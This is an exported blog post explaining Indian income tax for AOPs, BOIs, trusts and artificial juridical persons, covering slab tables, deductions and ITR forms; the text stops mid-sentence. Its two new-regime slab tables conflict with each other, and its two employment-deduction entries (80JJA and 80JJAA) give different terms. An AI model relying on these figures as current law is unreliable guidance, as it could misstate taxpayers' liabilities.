{"id":11898,"date":"2025-03-17T13:08:20","date_gmt":"2025-03-17T13:08:20","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=11898"},"modified":"2025-05-22T12:41:57","modified_gmt":"2025-05-22T12:41:57","slug":"income-tax-for-aop-boi-trust-ajp","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/","title":{"rendered":"Income Tax for AOP\/BOI\/Trust\/AJP: Tax Slabs, Forms &amp; Deductions &#8211; 2025"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#What_Are_AOP_BOI_Trust_and_AJP\" >What Are AOP, BOI, Trust, and AJP?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#AOP_Full_Form_in_Tax\" >AOP Full Form in Tax<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#BOI_Full_Form_in_Tax\" >BOI Full Form in Tax<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#AJP_Full_Form_in_Income_Tax\" >AJP Full Form in Income Tax<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Importance_of_Filing_Income_Tax_for_AOPBOITrustAJP\" >Importance of Filing Income Tax for AOP\/BOI\/Trust\/AJP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Latest_Updates_for_the_AY_2026-27_Income_Tax_for_Non_Company_Entities\" >Latest Updates for the AY 2026-27: Income Tax for Non Company Entities<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Income_Tax_for_AOPBOITrustAJP\" >Income Tax for AOP\/BOI\/Trust\/AJP<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#1_Income_Tax_for_AOPBOITrustAJP-_Old_Tax_Regime_With_Deductions_Exemptions\" >1. Income Tax for AOP\/BOI\/Trust\/AJP- Old Tax Regime (With Deductions &amp; Exemptions)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#2_Income_Tax_for_AOPBOITrustAJP-_New_Tax_Regime_Default_%E2%80%93_Section_115BAC\" >2. Income Tax for AOP\/BOI\/Trust\/AJP- New Tax Regime (Default) &#8211; Section 115BAC<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Tax_Deductions_For_Non_Company-_AOPBOITrustAJP\" >Tax Deductions For Non Company- AOP\/BOI\/Trust\/AJP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Tax_Saving_Options_for_AOPBOITrustAJP\" >Tax Saving Options for AOP\/BOI\/Trust\/AJP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#ITR_Form_for_Non-_Company\" >ITR Form for Non- Company<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#ITR_Forms_for_Non_Company_Taxation\" >ITR Forms for Non Company Taxation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Charitable_Trust-Related_ITR_Forms\" >Charitable Trust-Related ITR Forms&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Tax_Deduction_TDS-Related_Forms\" >Tax Deduction &amp; TDS-Related Forms<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#ITR_Filing_Checklist_for_Non-Company-_AOPBOITrustAJP\" >ITR Filing Checklist for Non-Company- AOP\/BOI\/Trust\/AJP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#How_to_File_ITR_for_Non-_Company-_AOPBOITrustAJP\" >How to File ITR for Non- Company- AOP\/BOI\/Trust\/AJP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Income_Tax_For_Non_Company_in_India_Mistakes_AOP_BOI_Trusts_AJPs_Should_Avoid\" >Income Tax For Non Company in India: Mistakes AOP, BOI, Trusts &amp; AJPs Should Avoid<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-aop-boi-trust-ajp\/#Income_Tax_for_AOPBOITrustAJP_FAQs\" >Income Tax for AOP\/BOI\/Trust\/AJP: FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/tax\/\">Tax<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Income Tax for AOP\/BOI\/Trust\/AJP: Tax Slabs, Forms &amp; Deductions &#8211; 2025<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Did you know that non-company entities like AOP, BOI, Trusts, and Artificial Juridical Persons (AJP) are also liable to pay taxes? The income tax for AOP\/BOI\/Trust\/AJP follows different rules than those for domestic and foreign companies. Thus, understanding income tax for non-company entities is important.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s explore the non-company tax slabs, deduction for non-company, and filing process for non-company taxation in India!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-what-are-aop-boi-trust-and-ajp-\"><span class=\"ez-toc-section\" id=\"What_Are_AOP_BOI_Trust_and_AJP\"><\/span><strong>What Are AOP, BOI, Trust, and AJP?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">When it comes to non-company taxation, different entities are taxed based on their structure:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"1-aop-full-form-in-tax-\"><span class=\"ez-toc-section\" id=\"AOP_Full_Form_in_Tax\"><\/span><strong>AOP Full Form in Tax<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">AOP stands for Association of Persons. It refers to a group of individuals or entities that come together to earn income. The taxation of AOP depends on whether the members&#8217; shares are determined or indeterminate.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"2-boi-full-form-in-tax-\"><span class=\"ez-toc-section\" id=\"BOI_Full_Form_in_Tax\"><\/span><strong>BOI Full Form in Tax<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">BOI stands for Body of Individuals. It is similar to an AOP but consists only of individuals. The tax liability of a BOI depends on how the income is distributed among its members.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"3-ajp-full-form-in-income-tax-\"><span class=\"ez-toc-section\" id=\"AJP_Full_Form_in_Income_Tax\"><\/span><strong>AJP Full Form in Income Tax<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">AJP stands for Artificial Juridical Person. It includes entities like universities, temples, or other non-human legal persons that are treated separately for taxation. The AJP full form is often used to define such entities under the Income Tax Act of 1961.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-importance-of-filing-income-tax-for-aopboitrustajp\"><span class=\"ez-toc-section\" id=\"Importance_of_Filing_Income_Tax_for_AOPBOITrustAJP\"><\/span>Importance of Filing Income Tax for AOP\/BOI\/Trust\/AJP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Filing income tax for AOP\/BOI\/Trust\/AJP is essential to comply with tax laws and avoid penalties. These entities fall under non-company taxation, meaning they have different tax rules compared to companies.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The taxation of AOP depends on whether the share of members is determined. If members have a defined share, their income is taxed at individual rates; otherwise, the non-company tax slab applies at the maximum marginal rate. The taxation of trusts varies, with trust income tax exemptions available for charitable and religious trusts under Section 11. The tax rate for a trust depends on its registration and purpose.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Filing returns ensures access to tax-saving options for non-company entities, such as deductions under Section 80G for donations. The correct ITR form for non-company is crucial, such as ITR-5 for AOP\/BOI and ITR-7 for trusts.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-latest-updates-for-the-ay-2026-27-income-tax-for-non-company-entities\"><span class=\"ez-toc-section\" id=\"Latest_Updates_for_the_AY_2026-27_Income_Tax_for_Non_Company_Entities\"><\/span>Latest Updates for the AY 2026-27: Income Tax for Non Company Entities<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per Budget 2025, individuals earning up to <strong>\u20b912,00,000<\/strong> will have <strong>zero tax liability<\/strong> under the <strong>new tax regime<\/strong> due to an increased rebate.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s the revised tax slab structure:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Annual Income<\/strong><\/td><td><strong>Tax Rate<\/strong><\/td><\/tr><tr><td>Up to \u20b94,00,000<\/td><td>NIL<\/td><\/tr><tr><td>\u20b94,00,001 &#8211; \u20b98,00,000<\/td><td>5%<\/td><\/tr><tr><td>\u20b98,00,001 &#8211; \u20b912,00,000<\/td><td>10%<\/td><\/tr><tr><td>\u20b912,00,001 &#8211; \u20b916,00,000<\/td><td>15%<\/td><\/tr><tr><td>\u20b916,00,001 &#8211; \u20b920,00,000<\/td><td>20%<\/td><\/tr><tr><td>\u20b920,00,001 &#8211; \u20b924,00,000<\/td><td>25%<\/td><\/tr><tr><td>Above \u20b924,00,000<\/td><td>30%<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">No tax on income up to \u20b912,00,000, thanks to a rebate of \u20b960,000.<br>Salaried individuals earning up to \u20b912,75,000 will also pay zero tax after considering the \u20b975,000 standard deduction.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-income-tax-for-aopboitrustajp\"><span class=\"ez-toc-section\" id=\"Income_Tax_for_AOPBOITrustAJP\"><\/span>Income Tax for AOP\/BOI\/Trust\/AJP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The taxation of Association of Persons (AOP), Body of Individuals (BOI), Trusts, and Artificial Juridical Persons (AJP) is governed by two regimes:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Old Tax Regime<\/strong> (with exemptions &amp; deductions)<\/li>\n\n\n\n<li><strong>New Tax Regime (Default) &#8211; Section 115BAC<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Let\u2019s explore the income tax for non-company details!<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-1-income-tax-for-aopboitrustajp-old-tax-regime-with-deductions-amp-exemptions-\"><span class=\"ez-toc-section\" id=\"1_Income_Tax_for_AOPBOITrustAJP-_Old_Tax_Regime_With_Deductions_Exemptions\"><\/span><strong>1. Income Tax for AOP\/BOI\/Trust\/AJP- Old Tax Regime (With Deductions &amp; Exemptions)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Tax Slabs &amp; Rates for AOP, BOI, AJP (Not Being Co-operative Societies)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Income Range (\u20b9)<\/strong><\/td><td><strong>Tax Rate<\/strong><\/td><td><strong>Surcharge<\/strong><\/td><\/tr><tr><td>Up to \u20b92,50,000<\/td><td>Nil<\/td><td>Nil<\/td><\/tr><tr><td>\u20b92,50,001 &#8211; \u20b95,00,000<\/td><td>5% on income above \u20b92.5 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b95,00,001 &#8211; \u20b910,00,000<\/td><td>\u20b912,500 + 20% on income above \u20b95 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b910,00,001 &#8211; \u20b950,00,000<\/td><td>\u20b91,12,500 + 30% on income above \u20b910 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b950,00,001 &#8211; \u20b91 crore<\/td><td>\u20b91,12,500 + 30% on income above \u20b910 lakh<\/td><td>10%<\/td><\/tr><tr><td>\u20b91 crore &#8211; \u20b92 crore<\/td><td>\u20b91,12,500 + 30% on income above \u20b910 lakh<\/td><td>15%<\/td><\/tr><tr><td>\u20b92 crore &#8211; \u20b95 crore<\/td><td>\u20b91,12,500 + 30% on income above \u20b910 lakh<\/td><td>25%<\/td><\/tr><tr><td>Above \u20b95 crore<\/td><td>\u20b91,12,500 + 30% on income above \u20b910 lakh<\/td><td>37%<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Additional Taxes in Old Regime<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Health &amp; Education Cess<\/strong>: 4% on the total tax + surcharge.<\/li>\n\n\n\n<li><strong>Maximum Marginal Rate (MMR)<\/strong>: 30% + surcharge + cess for AOP\/BOI with indeterminate shares.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-2-income-tax-for-aopboitrustajp-new-tax-regime-default-section-115bac-\"><span class=\"ez-toc-section\" id=\"2_Income_Tax_for_AOPBOITrustAJP-_New_Tax_Regime_Default_%E2%80%93_Section_115BAC\"><\/span><strong>2. Income Tax for AOP\/BOI\/Trust\/AJP- New Tax Regime (Default) &#8211; Section 115BAC<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The Finance Act 2023 made the <strong>new tax regime the default choice<\/strong>, but taxpayers can opt for the <strong>old regime<\/strong> if they file <strong>Form 10-IEA<\/strong> before the due date.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Tax Slabs &amp; Rates for AOP, BOI, AJP under the New Regime<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Income Range (\u20b9)<\/strong><\/td><td><strong>Tax Rate<\/strong><\/td><td><strong>Surcharge<\/strong><\/td><\/tr><tr><td>Up to \u20b93,00,000<\/td><td>Nil<\/td><td>Nil<\/td><\/tr><tr><td>\u20b93,00,001 &#8211; \u20b97,00,000<\/td><td>5% on income above \u20b93 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b97,00,001 &#8211; \u20b910,00,000<\/td><td>\u20b920,000 + 10% on income above \u20b97 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b910,00,001 &#8211; \u20b912,00,000<\/td><td>\u20b950,000 + 15% on income above \u20b910 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b912,00,001 &#8211; \u20b915,00,000<\/td><td>\u20b980,000 + 20% on income above \u20b912 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b915,00,001 &#8211; \u20b950,00,000<\/td><td>\u20b91,40,000 + 30% on income above \u20b915 lakh<\/td><td>Nil<\/td><\/tr><tr><td>\u20b950,00,001 &#8211; \u20b91 crore<\/td><td>\u20b91,40,000 + 30% on income above \u20b915 lakh<\/td><td>10%<\/td><\/tr><tr><td>\u20b91 crore &#8211; \u20b92 crore<\/td><td>\u20b91,40,000 + 30% on income above \u20b915 lakh<\/td><td>15%<\/td><\/tr><tr><td>Above \u20b92 crore<\/td><td>\u20b91,40,000 + 30% on income above \u20b915 lakh<\/td><td>25%<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Key Differences in the New Regime<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No deductions under Chapter VI-A (80C, 80D, etc.).<\/li>\n\n\n\n<li>No standard deduction or house rent allowance.<\/li>\n\n\n\n<li>Basic exemption limit is \u20b93,00,000 instead of \u20b92,50,000.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Alternate Minimum Tax (AMT) for AOP\/BOI<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If the adjusted total income of an AOP\/BOI exceeds \u20b920 lakh, they must pay AMT at 18.5% (plus surcharge &amp; cess), if their normal tax liability is lower.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Special Cases<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>AOP\/BOI with Determinate &amp; Indeterminate Shares<br>\n<ul class=\"wp-block-list\">\n<li>If all members have taxable income below \u20b92.5 lakh, AOP\/BOI is taxed like an individual.<\/li>\n\n\n\n<li>If any member\u2019s income exceeds \u20b92.5 lakh, tax is at Maximum Marginal Rate (MMR).<\/li>\n\n\n\n<li>If a member\u2019s tax rate is higher than MMR, the AOP\u2019s income is taxed at that higher rate.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Co-operative Societies (Under Section 115BAE)<br>\n<ul class=\"wp-block-list\">\n<li>15% concessional tax rate for new manufacturing co-operative societies.<\/li>\n\n\n\n<li>Must start manufacturing before 31st March 2024 to qualify.<\/li>\n\n\n\n<li>Once opted, cannot switch back to regular tax slabs.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"9-tax-deductions-for-non-company-aopboitrustajp\"><span class=\"ez-toc-section\" id=\"Tax_Deductions_For_Non_Company-_AOPBOITrustAJP\"><\/span>Tax Deductions For Non Company- AOP\/BOI\/Trust\/AJP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"1538\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Tax-Deductions-For-Non-Company-AOP_BOI_Trust_AJP.jpg\" alt=\"Tax Deductions For Non Company- AOP\/BOI\/Trust\/AJP\" class=\"wp-image-12643\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Tax-Deductions-For-Non-Company-AOP_BOI_Trust_AJP.jpg 1200w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Tax-Deductions-For-Non-Company-AOP_BOI_Trust_AJP-234x300.jpg 234w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Tax-Deductions-For-Non-Company-AOP_BOI_Trust_AJP-799x1024.jpg 799w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Tax-Deductions-For-Non-Company-AOP_BOI_Trust_AJP-768x984.jpg 768w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Tax-Deductions-For-Non-Company-AOP_BOI_Trust_AJP-1198x1536.jpg 1198w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\">Tax Deductions For Non Company- AOP\/BOI\/Trust\/AJP<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Tax deductions help reduce your taxable income, which means you pay less tax. Different types of organisations, like AOPs, BOIs, and Trusts, can claim deductions under various sections of the Income Tax Act.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Types of Deductions you can claim while filing income tax for AOP\/BOI\/Trust\/AJP.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. House Property Deductions (Section 24(b))<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If an AOP\/BOI owns a house and has taken a home loan, they can claim deductions on the interest paid:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Self-occupied property \u2013 Up to \u20b92 lakh<\/li>\n\n\n\n<li>Rented property \u2013 No limit, full interest amount is deductible<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Donations to Charitable Trusts &amp; NGOs (Section 80G)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Donations to approved charitable organisations can be 100% or 50% deductible.<\/li>\n\n\n\n<li>Cash donations above \u20b92,000 are not allowed for deductions.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3. Scientific Research &amp; Rural Development (Section 80GGA)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Donations to scientific research or rural development organisations are 100% deductible.<\/li>\n\n\n\n<li>Donations must be made online; cash donations above \u20b92,000 are not allowed.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4. Contributions to Political Parties (Section 80GGC)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If an AOP\/BOI donates to a political party or electoral trust, the full amount is deductible.<\/li>\n\n\n\n<li>Payment must be digital or through a cheque (no cash allowed).<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5. Infrastructure &amp; Industrial Business Deductions (Section 80IA, 80IAB, 80IB, 80IBA)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Organisations engaged in the following can claim a 100% tax deduction for 5\u201310 years:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Infrastructure projects (roads, bridges, water supply, etc.)<\/li>\n\n\n\n<li>Special Economic Zones (SEZs)<\/li>\n\n\n\n<li>Affordable housing projects<\/li>\n\n\n\n<li>Industrial or power generation projects<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>6. Tax Benefits for Businesses in Special States (Section 80IC, 80IE)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Businesses in Himachal Pradesh, Sikkim, Uttarakhand, and Northeast India get 100% tax exemption for 5-10 years.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>7. Startups &amp; New Businesses (Section 80IAC)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Eligible startups registered under DPIIT can get a 100% tax deduction for 3 years.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>8. Employment Benefits (Section 80JJAA)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If an organisation hires new employees, they can claim a 30% deduction on salaries for 3 years.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>9. Tax Benefits for Financial Companies (Section 80LA)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Offshore banking units and financial service centers can claim 100% tax exemption for 5 years.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"10-tax-saving-options-for-aopboitrustajp\"><span class=\"ez-toc-section\" id=\"Tax_Saving_Options_for_AOPBOITrustAJP\"><\/span>Tax Saving Options for AOP\/BOI\/Trust\/AJP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Entities under non-company taxation, such as Association of Persons (AOP), Body of Individuals (BOI), Trusts, and Artificial Juridical Persons (AJP), can reduce their tax liability by using various deductions and exemptions.&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Deductions Under Section 80G<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Donations made to eligible charitable organisations can be deducted from taxable income. This is especially beneficial for trust income tax calculations.<br><\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Home Loan Interest Deduction (Section 24(b))<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If an AOP\/BOI\/Trust\/AJP owns a property, the interest paid on a home loan can be deducted from taxable income.<br><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Exemptions for Charitable and Religious Trusts<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Under Section 11, charitable and religious trusts can claim exemptions on their income if they comply with the set conditions, reducing their taxation of trust liability.<br><\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Employment Generation Incentive (Section 80JJA)<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">AOPs and BOIs engaged in employment generation can claim a 100% deduction of profits for five years.<br><\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Tax Benefits for Startups (Section 80IAC)<\/strong><strong><br><\/strong>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If an AOP or BOI qualifies as a startup, it can avail of a 100% tax deduction for the first three years, reducing its overall income tax for non-company entities.<br><br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-itr-form-for-non-company-\"><span class=\"ez-toc-section\" id=\"ITR_Form_for_Non-_Company\"><\/span><strong>ITR Form for Non- Company<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">There are a number of forms available for non-company entities in India- Available for Association of Persons (AOP), Body of Individuals (BOI), Trusts, and Artificial Juridical Persons (AJP) for AY 2025-26:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Income Tax Return (ITR) Forms Applicable are:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>ITR-5<br><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">For AOPs, BOIs, AJPs, LLPs, cooperative societies, business trusts, and local authorities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These are not for Charitable\/religious trusts that must file ITR-7.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li>ITR-7<br><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">For entities required to file returns under Sections 139(4A), 139(4B), 139(4C), or 139(4D), such as:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Charitable\/religious trusts<\/li>\n\n\n\n<li>Political parties<\/li>\n\n\n\n<li>Research associations, news agencies<\/li>\n\n\n\n<li>Universities, colleges, or educational institutions<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"12-itr-forms-for-non-company-taxation\"><span class=\"ez-toc-section\" id=\"ITR_Forms_for_Non_Company_Taxation\"><\/span>ITR Forms for Non Company Taxation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Form 26AS &amp; AIS (Annual Information Statement)<br>\n<ul class=\"wp-block-list\">\n<li>Provides details on tax deducted\/collected, SFT transactions, refunds, and tax payments.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Form 3CA-3CD &amp; 3CB-3CD<br>\n<ul class=\"wp-block-list\">\n<li>Audit reports for taxpayers whose accounts require auditing under Section 44AB.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Form 10B &amp; 10BB<br>\n<ul class=\"wp-block-list\">\n<li>Audit report for charitable\/religious trusts under Section 12A(1)(b) or 